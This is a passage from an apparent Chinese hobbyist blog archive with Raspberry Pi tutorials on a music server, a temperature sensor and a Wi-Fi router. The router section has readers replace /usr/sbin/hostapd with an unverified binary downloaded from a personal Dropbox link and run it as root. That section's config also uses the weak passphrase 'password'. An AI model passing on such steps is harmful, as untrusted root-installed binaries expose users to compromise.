11者,凡面先生必睡,考试之时却顺利过关,果天才也。另身怀绝技,从白发苍苍返老还童。遗传母基因,善会计。善川菜。粉丝团无数。后因陷入情网,不能自拔,几乎消失于江湖。 HH者,亦神人也,将稀疏平常之事说的惊天地泣鬼神,山伯和英台听到11的爱情故事也要羡慕不已。因思夫人,邀至美国,夫人归,不料留下一顽童,HH手忙脚乱,从此退出江湖。 13Y者,盖因礼帽出场,似某戏中花旦,因此得名。 其他众人,此处暂且不表。 待续。 --- ## 将树莓派打造成音乐播放服务器 Date: 2014-07-15 URL: https://blog.wo.ai/archives/687 Categories: Uncategorized 几个月前,我发布了一篇文章《我对探寻终极音乐播放器的探寻》([My Quest to Build the Ultimate Music Player](http://andrewkelley.me/post/quest-build-ultimate-music-player.html)),在那篇文章里面描述了我对一款开源的音乐播放服务器[Groove Basin](http://groovebasin.com/)断断续续将近4年的痛苦折腾过程。 它的客户端基于web页面,如下图: [![groovebasin-screenshot](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/626f65b73a_db5622a15b1f8a5efa9f5b4958483a761.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/626f65b73a_db5622a15b1f8a5efa9f5b4958483a761.png "将树莓派打造成音乐播放服务器") 你也可以在这里尝试它的[在线demo版本](http://demo.groovebasin.com/)。 如果你把它安装在树莓派里面,你可以把speakers附加上去,使用它你可以远程控制,也可以通过在浏览器中的点击“stream”就可以远程收听自己的音乐。 然而,在鼓捣这个之前,我需要指出的是,如果你在决定是否入手一台树莓派,答案是,不要。树莓派被过度夸大了,其实还有更好的选择。这就是为什么我写这篇教程。在这里我要提到一个,就是[Beagle Bone Black ](http://beagleboard.org/Products/BeagleBone+Black)。 你可以用这个来代替的原因如下: * 更快的cpu和内存 * 1GHz处理器,而非700MHz * DDR3内存,而非SDRAM * 它可以直接运行Debian和Ubuntu armhf,而非运行类似Respbian的系统。在Debian已经有armhf端口的情况下仍然存在Raspbian简直就是愚蠢的行为。如果你只是安装普通的armhf Ubuntu在Beagle Bone Black上,这篇文章的剩余部分就没有必要再看下去了,你只需 # apt-add-repository ppa:andrewrk/libgroove # apt-get update # apt-get install libgroove-dev 然后你就已经做完了。 实际上,libgroove在[Debian Testing](http://packages.qa.debian.org/libg/libgroove.html)和[Ubuntu Utopic Unicorn](https://launchpad.net/ubuntu/utopic/+source/libgroove)两个版本上面已经存在了,所以一年半载之内这些发行版升级了,你也无需添加额外的个人软件包档案 * Debian[官方不推荐树莓派](https://wiki.debian.org/RaspberryPi),因为它在运行时候需要非自由软件。Debian特别推荐了Beagle Bone Black。 如果你像我一样,同时在你收到更好建议之前不幸的买了一台树莓派,你需要跳过很多坑来让它运行起来。这篇文章就会手把手的交给你怎么绕过所有的坑,而无需自己浪费时间去自己费劲琢磨。 这篇文章开始时会假设你手上有一台全新的甚至还未装操作系统的树莓派。如果你已经做过了这一步,可以直接跳到[下一部分](http://www.geekfan.net#install-groove-basin)。 ## 目录 1. [目录](http://www.geekfan.net#table-of-contents) 2. [安装Raspbian并获取SSH连接](http://www.geekfan.net#install-raspbian) 3. [安装Groove Basin](http://www.geekfan.net#install-groove-basin) ## 安装Raspbian并获取SSH连接 转到树莓派[下载页面](http://www.raspberrypi.org/downloads/),下载Raspbian Debian Wheezy种子(或者直接下载,如果你不是大虾的话) 解压压缩包,得到img文件后将其刷入你有的最大的SD卡上面。因为你需要很大的空间存放音乐! 我是在Ubuntu上面,我所需要做的仅仅是在文件管理器中右击img文件, open with, Disk Image Writer: [![disk-image-writer](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/43804b25fb_88c28ec51ebee80d9a94ea614c1ab1951.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/43804b25fb_88c28ec51ebee80d9a94ea614c1ab1951.png "将树莓派打造成音乐播放服务器") 我确信做这一步有很多种方式,我使用的这种方式只是对我来说最简单的。 这步完成后,找一个键盘、显示器和HDMI线,你就可以看到你正在做的事情了。我们的目标是可以尽快的使用上SSH连接,从而使树莓派可以除了电源线和网线之外什么都不用插就可以工作。 树莓派第一次启动后它会给您一个清单,包含你可以做的事情。下面是我做的事情: * Expand the file system to fit the full SD card. * Set pi user password. * Advanced Options, enable SSH server. 现在我们将其设置为每次启动时候都有固定ip。下面是我使用的设置,你可以按照自己的需要照猫画虎: sudo vi /etc/network/interfaces 将`iface eth0 inet dhcp`代替为: auto eth0 iface eth0 inet static address 192.168.1.99 netmask 255.255.255.0 gateway 192.168.1.1 现在我们可以拔除TV和键盘了,我们已经无须这些废物了。直接插入网线然后开机吧! 在你现在用的电脑上面你可以用ssh连接到树莓派上面了,就像这样: ssh pi@192.1.68.1.99 我喜欢在我的`~/.ssh/config`文件中添加传送门,就像这样: host pi hostname 192.168.1.99 user pi 它需要你输入密码,但我们也可以解决: ssh-copy-id pi 现在连接树莓派已经可以ssh pi这么简单了。 你需要做的第一件事就是更新所有的过时的软件到最新版: $ sudo apt-get update $ sudo apt-get dist-upgrade 额,我在这里看到了什么? ... Unpacking replacement raspberrypi-bootloader ... Bootloader都被代替了?最好重启一下看看他是不是还能用。 好了,这个时候我们还是可以通过ssh连接上我们的树莓派,所有的软件包也完全更新了。 ## 安装Groove Basin 首先安装一些软件包: $ sudo apt-get install htop vim git cmake screen 建议你在做这个的时候在screen或者tmux这类环境下,因为一旦你的网络断了,我们的命令还可以继续。这也让我们可以在树莓派运行时候去做点其他的事情。 我需要一次解释清楚如何执行这一步。然而,记住有3个重要的编译需要用好长时间,所以如果你想同时开始这3个任务并且离开电脑8个小时或更久,你可以跳过这个教程并开始同时执行它们了。这3个软件的make步骤为: * SDL2 * libav * Node.js libgroove,第一部分 得到libgroove源代码,在源码里面创建build文件夹: $ cd $ git clone https://github.com/andrewrk/libgroove $ cd libgroove $ mkdir build $ cd build 我们在debug模式build,这样在有任何错误的时候就可以得到有用的堆栈信息。 记住,你可以跳过下面的步骤,它仅花一两分钟时间就可以完成,这些命令仅供参考,我也已经在下面贴出了在我机器的输出: $ cmake .. -DCMAKE_BUILD_TYPE=Debug Installation Summary ——————– * Install Directory : /usr/local * Build libgroove : missing dependencies * Build libgrooveplayer : missing dependencies * Build libgrooveloudness : missing dependencies * Build libgroovefingerprinter : yes Bundled Dependencies ——————– * SDL2 : ready to build * libav : missing dependencies, see below * libebur128 : ready to build System Dependencies ——————- * C99 Compiler : OK * threads : OK * SDL2 : not found – will use bundled version * ebur128 : not found – will use bundled version * chromaprint : not found * libavformat : not found – will use bundled version * libavcodec : not found – will use bundled version * libavfilter : not found – will use bundled version * libavutil : not found – will use bundled version * yasm : not found * bzip2 : not found * mp3lame : not found * zlib : OK 信息显示缺失了以下库: * chromaprint * libebur128 * SDL2 * libav 我们可以让安装libgroove自动解决依赖问题,但是在系统上面事先安装这些依赖的软件包更简单。我们就这么做。 ### chromaprint 幸运的是,chromaprint已经在软件仓库里面了: $ sudo apt-get install libchromaprint-dev ### libebur128 下一步我们编译最简单的一个,libebur128. $ cd $ git clone https://github.com/jiixyj/libebur128 $ cd libebur128 $ mkdir build $ cd build $ cmake .. -DCMAKE_BUILD_TYPE=Debug 矮油,好像我们缺少了一些依赖软件: – checking for module ’speexdsp’ – package ’speexdsp’ not found 最好安装这个: $ sudo apt-get install libspeexdsp-dev 重新试试那一行配置行: $ cmake .. -DCMAKE_BUILD_TYPE=Debug – checking for module ’speexdsp’ – found speexdsp, version 1.2rc1 – speexdsp library dirs: – speexdsp cflags: – speexdsp include dirs: – speexdsp libraries: speexdsp – speexdsp ldflags: – status found / disabled – – queue.h: yes using system copy of queue.h – speexdsp: yes no – not building tests, set ENABLE_TESTS to ON to enable – Configuring done – Generating done – Build files have been written to: /home/pi/libebur128/build 这样好多了。 现在编译并安装源码: $ make $ sudo make install [ 50%] Built target ebur128 [100%] Built target ebur128_static Install the project… – Install configuration: ”Debug” – Up-to-date: /usr/local/include/ebur128.h – Installing: /usr/local/lib/arm-linux-gnueabihf/libebur128.so.1.0.1 – Installing: /usr/local/lib/arm-linux-gnueabihf/libebur128.so.1 – Installing: /usr/local/lib/arm-linux-gnueabihf/libebur128.so – Installing: /usr/local/lib/arm-linux-gnueabihf/libebur128.a 由于Debian cmake包中的一个[bug](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=739876i),它把库文件放在`/usr/local/lib/arm-linux-gnueabihf/` 我们来改一下: $ sudo mv /usr/local/lib/arm-linux-gnueabihf/* /usr/local/lib/ $ sudo rmdir /usr/local/lib/arm-linux-gnueabihf $ sudo ldconfig ### SDL2 接下来我们让SDL2跑起来。树莓派自带的SDL有什么问题?是因为它自带的是1.2版本,而libgroove是基于版本2的。 在[SDK下载页面](https://www.libsdl.org/download-2.0.php)找到最新的SDL2的源码URL: $ cd $ wget https://www.libsdl.org/release/SDL2-2.0.3.tar.gz $ tar xvf SDL2-2.0.3.tar.gz $ cd SDL2-2.0.3/ SDL需要音频后端才可以工作,现在我们在配置命令之前先安装它: $ sudo apt-get install libasound2-dev 我们只需要SDK2的音频特性,而且实际上,它的视频的一些功能还会带有编译的问题。所以我们在configure的时候禁止掉所有我们不需要的功能: $ ./configure –enable-audio –disable-video –disable-render –disable-events –disable-joystick –disable-haptic –disable-power –disable-file –disable-timers –disable-loadso –disable-cpuinfo 这步要费一些时间,但是在完成后,你可以看到这样的一行: Audio drivers : disk dummy oss alsa(dynamic) 这很重要,你除了有声卡驱动外还有disk、dummy和oss $ make 找点事情做,这一步要个把小时才可以完成。或者如果你想让你的树莓派投降,你可以跳过本教程,同时编译libav。但是我要假设你正在按顺序做这些,而且让你自己来决定如何跳过这篇文章。 这个时候,冗长的编译过程终于成功了,我们可以安装SDL了: $ sudo make install ### libav 我们回到home文件夹(或者我们决定安装的目录): $ cd 从[libav下载页面](http://www.libav.org/download.html)(http://www.libav.org/download.html)得到libav最新的版本10的URL: $ wget http://www.libav.org/releases/libav-10.1.tar.gz $ tar xvf libav-10.1.tar.gz $ cd libav-10.1/ 先做些预备工作,然后开始configure: $ sudo apt-get install libmp3lame-dev libvorbis-dev $ ./configure –enable-shared –enable-debug –disable-static –enable-gpl –enable-libmp3lame –enable-libvorbis 同样,树莓派还是会非常困难的完成configure命令,特别是你同时也在编译SDL2,所以如果它用了一两分钟,不要着急 $ make 这个过程要长达8个小时。认真的说,我会开始这个过程后直接去睡觉。如果你希望同时开始所有的编译,你可能会同时开始Node.js的编译。 libav编译成功后: $ sudo make install 我们终于完成了libgroove的依赖软件的安装,我们终于可以开始安装libgroove本身了。 ### libgroove,第二部分 这个时候,你已经等了很长时间了,树莓派也已经编译libav和SDL2成功,你也已经安装了它们。如果这些还没做完,你需要搞明白为什么,然后在接下来这个教程开始之前将其修复。 $ sudo ldconfig $ cd ~/libgroove/build/ $ cmake .. -DCMAKE_BUILD_TYPE=Debug Installation Summary ——————– * Install Directory : /usr/local * Build libgroove : yes * Build libgrooveplayer : yes * Build libgrooveloudness : yes * Build libgroovefingerprinter : yes Bundled Dependencies ——————– * SDL2 : using system library * libav : using system libraries * libebur128 : using system library System Dependencies ——————- * C99 Compiler : OK * threads : OK * SDL2 : OK * ebur128 : OK * chromaprint : OK * libavformat : OK * libavcodec : OK * libavfilter : OK * libavutil : OK 这个输出比前面的好看多了。 $ make 这个make相对而言应该快多了。 $ sudo make install $ sudo ldconfig 这个时候我们已经把必要的库安装好了: $ ls /usr/local/lib/ libavcodec.so libebur128.a libgroove.so.4 libavcodec.so.55 libebur128.so libgroove.so.4.1.0 libavcodec.so.55.34.1 libebur128.so.1 libSDL2-2.0.so.0 libavdevice.so libebur128.so.1.0.1 libSDL2-2.0.so.0.2.1 libavdevice.so.54 libgroove.a libSDL2.a libavdevice.so.54.0.0 libgroovefingerprinter.a libSDL2.la libavfilter.so libgroovefingerprinter.so libSDL2main.a libavfilter.so.4 libgroovefingerprinter.so.4 libSDL2.so libavfilter.so.4.2.0 libgroovefingerprinter.so.4.1.0 libSDL2_test.a libavformat.so libgrooveloudness.a libswscale.so libavformat.so.55 libgrooveloudness.so libswscale.so.2 libavformat.so.55.12.0 libgrooveloudness.so.4 libswscale.so.2.1.2 libavresample.so libgrooveloudness.so.4.1.0 pkgconfig libavresample.so.1 libgrooveplayer.a python2.7 libavresample.so.1.1.0 libgrooveplayer.so python3.2 libavutil.so libgrooveplayer.so.4 site_ruby libavutil.so.53 libgrooveplayer.so.4.1.0 libavutil.so.53.3.0 libgroove.so ### Node.js 我们现在需要Node.js。从它的下载页面(http://nodejs.org/download/)找到最新的stable源码 $ cd $ wget http://nodejs.org/dist/v0.10.29/node-v0.10.29.tar.gz $ tar xvf node-v0.10.29.tar.gz $ cd node-v0.10.29/ $ ./configure $ make 编译过程要持续数个小时。 安装完成后需要执行: $ sudo make install ### Groove Basin 现在是开始音乐播放服务器Groove Basin的时间了。 $ cd $ git clone https://github.com/andrewrk/groovebasin $ cd groovebasin/ $ npm run build 这个过程要持续数分钟,它会下载和编译Groove Basin依赖的软件。 我们建立音乐目录,如果没有的话: $ mkdir ~/music/ 把你所有的音乐都拷贝到这个目录下。 $ node lib/server.js 现在需要启动服务器了。如果你想要改变configure选项,使用Ctrl+C结束服务器然后编辑`config.js` 享用吧!请自由的关注[GitHub上面的GrooveBasin主页](https://github.com/andrewrk/groovebasin),[报告bug report或者需要的特性](https://github.com/andrewrk/groovebasin/issues/new),或者加入在irc.freenode.org上面的`#libgroove `讨论获取故障帮助。 我们对pull request非常欢迎,特别是可以让[groovebasin.com](https://github.com/andrewrk/groovebasin.com)看起来更漂亮的Pull request。 [将树莓派打造成音乐播放服务器](http://www.geekfan.net/10419/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 树莓派 B+ 发布,售价 35 美元 Date: 2014-07-15 URL: https://blog.wo.ai/archives/694 Categories: Uncategorized 应对HummingBoard在内的开发主板的挑战近日树莓派(Raspberry Pi)推出了性能更加强悍的新版本B+,相比较前代产品功耗更低,对专用电源的依赖大大降低,不再需要专用的适配器;此外提供了更加丰富的接口,为用户连接更多的设备,提升移动终端和智能家居环境的友好度。 在硬件规格上树莓派B+采用了相同的Broadcom芯片和512MB的内存。模拟和复合视频连接器已经被一个四极连接器端口所替换。更强悍的性能允许用户在没有额外电源和分线器的情况下同时连接4个USB设备。目前树莓派B+的售价为$35,约合217元。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e7dc69c072_7cc829d3gw1eidkldjvp2j20go0bmq4r.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b695fd5666_7cc829d3gw1eidklcyh0rj20go08maay.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ecf8c8fa2c_7cc829d3gw1eidklim33xj20go0c1mzt.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6f60e995b1_7cc829d3gw1eidklg316bj20go0af40n.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/876c725b22_7cc829d3gw1eidklfggncj20go05rt99.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/007c60e317_7cc829d3gw1eidkljukpqj20go0dqdjm.jpg) [树莓派 B+ 发布,售价 35 美元](http://www.geekfan.net/10437/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Adafruit的树莓派教程第十一课:DS18B20温度传感器 Date: 2014-07-11 URL: https://blog.wo.ai/archives/692 Categories: Uncategorized #### 概览 树莓派操作系统Occidentalis以及2012年12月之后的Raspbian系统已经能够支持DS18B20单总线(1-wire)温度传感器。这种传感器由半导体包裹的头和三个引脚组成,它是一种精确地数字设备。 [![lesson11_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0fe0166989_97da48470c74909f938c69192a1af8e9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0fe0166989_97da48470c74909f938c69192a1af8e9.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 这节课里,你将学习如何在树莓派上使用DS18B20来读取温度。 因为树莓派没有数模转换器(ADC, Analog to Digital Converter),因此它不能够直接读取像TMP36这样的模拟信号温度传感器,因此,DS18B20是比较合适的。 #### 另外的代码库 如果你是一个Python爱好者,这有另外一种在树莓派上使用DS18B20的类库。 地址在这里:(作者是Timo!) #### 你需要的 要完成这个项目,你需要下面的东西: 树莓派 [![lesson11_2](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3be64780ee_0134574df6ba3c3ab3d47c255797fb0d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3be64780ee_0134574df6ba3c3ab3d47c255797fb0d.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") DS18B20数字温度传感器 + 延长线,也可以是湿度或者高温型号的。另外你需要一个4.7k或者10k欧姆的电阻。 [![lesson11_3](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a8cf817675_67ec57dc1f1a5d8519d2087cd4fb90df.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a8cf817675_67ec57dc1f1a5d8519d2087cd4fb90df.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 一小块面包板 [![lesson11_4](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/829ee76f22_d1770117ae7de170646d571efaf41d47.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/829ee76f22_d1770117ae7de170646d571efaf41d47.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 一把跳线 [![lesson11_5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b1bec765f4_7c7fdb7c15ee3f6d2d56ccbb1da1c4ed.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b1bec765f4_7c7fdb7c15ee3f6d2d56ccbb1da1c4ed.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 扩展板 [![lesson11_6](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ee01ad32d7_e163187a1bcb6990d1c19889da23639a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ee01ad32d7_e163187a1bcb6990d1c19889da23639a.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") #### 硬件部分 下图展示了基本的DS18B20接法。 **DS18B20单总线(1-wire)传感器可以以非并行连接接入,这一点几乎与其他市售的传感器都不同!所有传感器共享相同的针脚,所以你只需要一个4.7k的电阻就够了。** 电阻被用于拉高数据输出线(data-line),并且保持数据输出的稳定。 要注意DS18B20的方向,弧形的一边在图中的左侧。如果你接反了,有可能会烧坏传感器。 > 尽管DS18B20+和TMP36都是温度传感器,但是它们完全不同,因此TMP36不适用于这篇教程! [![lesson11_7](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f80c64c63a_089e7e7061d5c1ebff97cabedbf00e64.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f80c64c63a_089e7e7061d5c1ebff97cabedbf00e64.png "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 如果你是用的是防水版的DS18B20,那我们需要连接3个针脚,红,黑,黄,身下一个引脚不用连接。 如果你是用的是高温版本的DS18B20,把橙色引脚接入3.3V,白色接地,蓝色与数据针pin 4相连。 你同样需要一个4.7k~10k的电阻接在3.3v和数据针之间。 [![lesson11_8](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7db769ff3_9ce5017a24e89af8ad631b006410a4db.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b7db769ff3_9ce5017a24e89af8ad631b006410a4db.png "Adafruit的树莓派教程第十一课:DS18B20温度传感器") [![lesson11_9](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/baa4963b29_a7ea336188ed18b45c0506e539cfe74b.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/baa4963b29_a7ea336188ed18b45c0506e539cfe74b.jpg "Adafruit的树莓派教程第十一课:DS18B20温度传感器") #### DS18B20 尽管DS18B20看上去就像一个普通的传感器,但它内部其实大有文章。 它的芯片包含了一个特别的单总线串行接口,逻辑控制部分以及一个温度传感器。 它的输出针输出数字消息以便Raspbian/Occidentalis能够在某一针上阅读。你可以在运行这个项目之前自己通过命令行或者SSH(参见[第六课](http://www.geekfan.net/9128/ "Adafruit的树莓派教程第六课:使用SSH"))先试验一下。 在终端窗口里输入下面的命令。当你执行到”devices”目录下时,目录名称开头的”28-”可能与你的不一样,所以cd到你看到的目录下吧。 sudo modprobe w1-gpio sudo modprobe w1-therm cd /sys/bus/w1/devices ls cd 28-xxxx (change this to match what serial number pops up) cat w1_slave [![lesson11_10](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f613971a1a_0afff3c39928241a76c85d5ea1149ed4.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f613971a1a_0afff3c39928241a76c85d5ea1149ed4.png "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 这个接口有点不太稳定,但如果幸运的话系统会告诉我们有一个可供读取的温度。它类似于一个文件,所以我们要做的就是读这个文件。 在返回消息的第一行末尾都会有一个YES或NO,如果是yes,那第二行紧接着就是温度,以1/1000摄氏度为单位,所以在上面的例子中,实际读取到的温度是20.687和26.125摄氏度。 如果你接入了多个传感器,那么你将看到有多个**28-xxx** 的文件,已经插入一个传感器,然后检查一下新生成的文件名,然后为这个传感器做上标记。这样才能区分出哪个传感器对应哪个文件。 #### 软件部分 下面的Python程序处理失败消息并且每秒返回华氏和摄氏温度。 import os import glob import time os.system('modprobe w1-gpio') os.system('modprobe w1-therm') base_dir = '/sys/bus/w1/devices/' device_folder = glob.glob(base_dir + '28*')[0] device_file = device_folder + '/w1_slave' def read_temp_raw(): f = open(device_file, 'r') lines = f.readlines() f.close() return lines def read_temp(): lines = read_temp_raw() while lines[0].strip()[-3:] != 'YES': time.sleep(0.2) lines = read_temp_raw() equals_pos = lines[1].find('t=') if equals_pos != -1: temp_string = lines[1][equals_pos+2:] temp_c = float(temp_string) / 1000.0 temp_f = temp_c * 9.0 / 5.0 + 32.0 return temp_c, temp_f while True: print(read_temp()) time.sleep(1) 在程序的开头运行了一下modprobe命令,来使接口运行。 紧接着的3行用于寻找哪些文件可以从中读取消息。 一个已知的问题是在Raspbian下读取温度时有时候会假死。如果你有同样的问题,使用下面的代码替换掉read_temp_raw方法。然后在程序开头加入一行”import subprocess”。 def read_temp_raw(): catdata = subprocess.Popen(['cat',device_file], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out,err = catdata.communicate() out_decode = out.decode('utf-8') lines = out_decode.split('\n') return lines 读取温度是通过两个方法进行的。read_temp_raw通过接口获取消息的前两行。read_temp把它包装了一层并且加入了失败消息检测并且重试直到第一行的末尾有一个YES。这个方法会返回两个值,第一个是摄氏温度,第二个是华氏温度。 你可以像下面这样把两个值分开 deg_c, deg_f = read_temp() 主方法只是一个循环,读取温度,打印出来,然后休息一秒。 要把这个程序传到树莓派上,你可以通过SSH在命令行里打开一个文本编辑器 nano thermometer.py 粘贴上面的代码,然后按一下Ctrl+X然后按一下Y保存。 [![lesson11_11](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78d412b609_1d7c8ca1ff1119eea5a7e32bb7ddc287.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/78d412b609_1d7c8ca1ff1119eea5a7e32bb7ddc287.png "Adafruit的树莓派教程第十一课:DS18B20温度传感器") #### 测试与配置 运行这个程序需要超级用户权限,所以在命令行里运行下面的命令 sudo python thermometer.py 如果一切ok,那你将会看到像下面一样的一系列输出 [![lesson11_12](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/64728dc831_f8f0f63fe4753fea37187a657632b1e7.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/64728dc831_f8f0f63fe4753fea37187a657632b1e7.png "Adafruit的树莓派教程第十一课:DS18B20温度传感器") 试试把手指放在温度传感器上来给它升温。 #### 加入更多的传感器 你可以以并行连接方式DS18B20把其他的DS18B20传感器接入到VCC,数据和地线针脚。只用一个4.7k电阻。你将会看到多个**/sys/bus/w1/devices/28-nnnnn** 目录,每一个都有一个唯一的串口编号。目前的python程序只能读取一个传感器,所以你需要自己修改使它能够一次读取多个传感器。 [Adafruit的树莓派教程第十一课:DS18B20温度传感器](http://www.geekfan.net/10081/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Springfield Date: 2014-07-04 URL: https://blog.wo.ai/archives/918 Categories: English, Life ![IMG_7566.JPG](/wp-content/uploads/2015/03/IMG_7566.jpg) --- ## 树莓派和路由:将树莓派打造成一台路由器 Date: 2014-06-26 URL: https://blog.wo.ai/archives/689 Categories: Uncategorized 如果你想要一个装在口袋里的网络分享设备,树莓派可以[做成一个很不错的路由器.](http://www.jacobsalmela.com/raspberry-pi-cantenna-ultimate-2-4ghz-wardriving-and-long-range-wifi-access/) # 本次制作所用到的设备要求: 1. 本地网络 2. 一台电脑 3. 运行[Raspbian的树莓派](http://www.jacobsalmela.com/raspberry-pi-and-raspbian-wheezy-how-to-setup-a-raspberry-pi-after-buying-one/) 4. 无线USB路由器 5. HDMI连接线(可选) 6. 键盘(可选) 7. 路由器(可选) 8. 有HDMI输入的监视器(可选) _如果树莓派已经设置好可以[独立运行](http://www.jacobsalmela.com/raspberry-pi-and-ssh-how-to-setup-a-headless-machine-no-monitor-and-pasword-less-logins/)了.你不需要屏幕键盘鼠标-就是另外一台可以用SSH通过网络远程登录的电脑_ # 需要下载的 1. [Older hostapd](http://dl.dropbox.com/u/1663660/hostapd/hostapd) (只有apt下不到驱动的时候) ## 需要的知识,技术,能力 1,可以熟练操作计算机系统 2,基本的计算机术语知识 3,敢于在终端里敲命令.如果有必要也要敢于调整他们适合自己的开发环境 4,熟悉网络核心概念 # 所用到资源 1. 2. 3. 4. 5. 6. [http://www.raspberrypi.org/phpBB3/viewtopic.php?t=39096&p=393810](http://www.raspberrypi.org/phpBB3/viewtopic.php?t=39096&p=393810) 7. 8. # 概念总览 1. 用apt-get安装做需要的组件 2. 验证无线软件狗收发功能 3. 配置/etc/network/interfaces 4. 给你想要设置的接入点创建配置文件/etc/hostapd/hostapd.conf 5. 把hostapd指向步骤4所创建的配置文件/etc/hostapd/hostapd.conf 6. 用[老版本](http://dl.dropbox.com/u/1663660/hostapd/hostapd)替代/sbin/hostapd 7. 配置**DNS** 8. 配置**IPv4转发** ,使其可以连接网络 # 准备树莓派 确定你的树莓派是最新版本的,可以安装所有最新的安装包 sudo apt-get update sudo apt-get upgrade # 安装所需要的组件 以下这些组件都是设置接入点做需要的: * **rfkill** : 一个无线工具 * **zd1211-firmware** : 很多Wi-Fi收发器通用的固件 * **hostapd** : 无线接入点的守护进程 * **hostap-utils** : 补充工具 * **iw** : 无线网络的配置工具 * **dnsmasq:** DHCP 和 DNS 工具 * **bridge-utils:** 用来将多个以太网设备连接到一起 用以下命令安装这些组件: sudo apt-get install rfkill zd1211-firmware hostapd hostap-utils iw dnsmasq bridge-utils # 配置无线收发器 ## 验证软件狗已经被树莓派识别 检查树莓派已经识别Wi-Fi软件狗: lsusb # 验证Wi-FI软件狗支持接入点模式 如果执行下面这条命令没有任何输出是关于**AP mode** ,那么就是说你的软件狗不适合本项目。但是如果有东西的话那就继续进行下一步。 iwlist 倒霉的是我的软件狗坏了,而且还有产生了一个” nl180211 not found ”的错误,不过还好了继续执行下面这条命令: dmesg | grep rtl 如果结果是类似这样的 [    6.240292] usbcore: registered new interface driver rtl8192cu 可能这个还是能干活的,接下俩会修复这个问题的. # 配置网络接口 先做一个 /etc/nework/interfaces 的备份,然后在文本编辑器里打开, 改成下面这个样子的: # Automatically brings up interfaces with ifup -a auto lo auto br0 # Loopback iface lo inet loopback # Keep eth0 as dhcp so it can connect to an existing router # (Optional--I used this since I was configuring via SSH) iface eth0 inet dhcp # Bridge interface iface br0 inet dhcp         bridge_fd 1         bridge_hello 3         bridge_maxage 10         bridge_stp off         bridge_ports eth0 wlan0 # Allow hotplug allow-hotplug wlan0 allow-hotplug eth0 iface wlan0 inet manual iface wlan0 inet manual 重启 wlan0 接口 ifdown wlan0 ifup wlan0 # 配置hostapd 接下来,做一个 /etc/hostapd/hostap.conf 的备份然后在文本编辑器里打开做一些改动(如果这个文件不存在请忽略第一条命令) sudo cp /etc/hostapd/hostap.conf /etc/hostapd/hostap.conf.orig sudo vi /etc/hostapd/hostap.conf 修改这个文件使之包含以下内容,读者根据自己情况自行改动(比如国家代码,网络名等等) 如果 iwlist 命令执行结果有之前提到的 nl80211 not found 错误,创建一个内容如下的文件: interface=wlan0 bridge=br0 driver=rtl871xdrv country_code=US ctrl_interface=wlan0 ctrl_interface_group=0 ssid=RPiAP hw_mode=g channel=1 wpa=3 wpa_passphrase=password wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP beacon_int=100 auth_algs=3 macaddr_acl=0 wmm_enabled=1 eap_reauth_period=360000000 如果 iw list 命令执行出错,文件 /etc/default/hostapd 也是需要备份的(如果此文件存在的话). sudo cp /etc/default/hostapd /etc/default/hostapd.orig sudo vi /etc/default/hostapd 然后添加如下内容(千万不要注释掉) DAEMON_CONF=”/etc/hostapd/hostapd.conf” 安装一个不同版本的 /usr/sbin/hostapd 也是很有必要的,[从这里下载](http://dl.dropbox.com/u/1663660/hostapd/hostapd), 根据以往经验最好在编辑之前做一个备份: sudo cp /usr/sbin/hostapd /usr/sbin/hostapd.orig 删除原始文件, 因为接下来将会在下载章节将其替换掉. cd /usr/sbin sudo rm -f hostapd sudo wget http://dl.dropbox.com/u/1663660/hostapd/hostapd 为新文件设置适当权限 sudo chown root:root hostapd sudo chmod 755 hostapd 重启hostapd服务以激活设置 sudo service networking restart sudo service hostapd restart 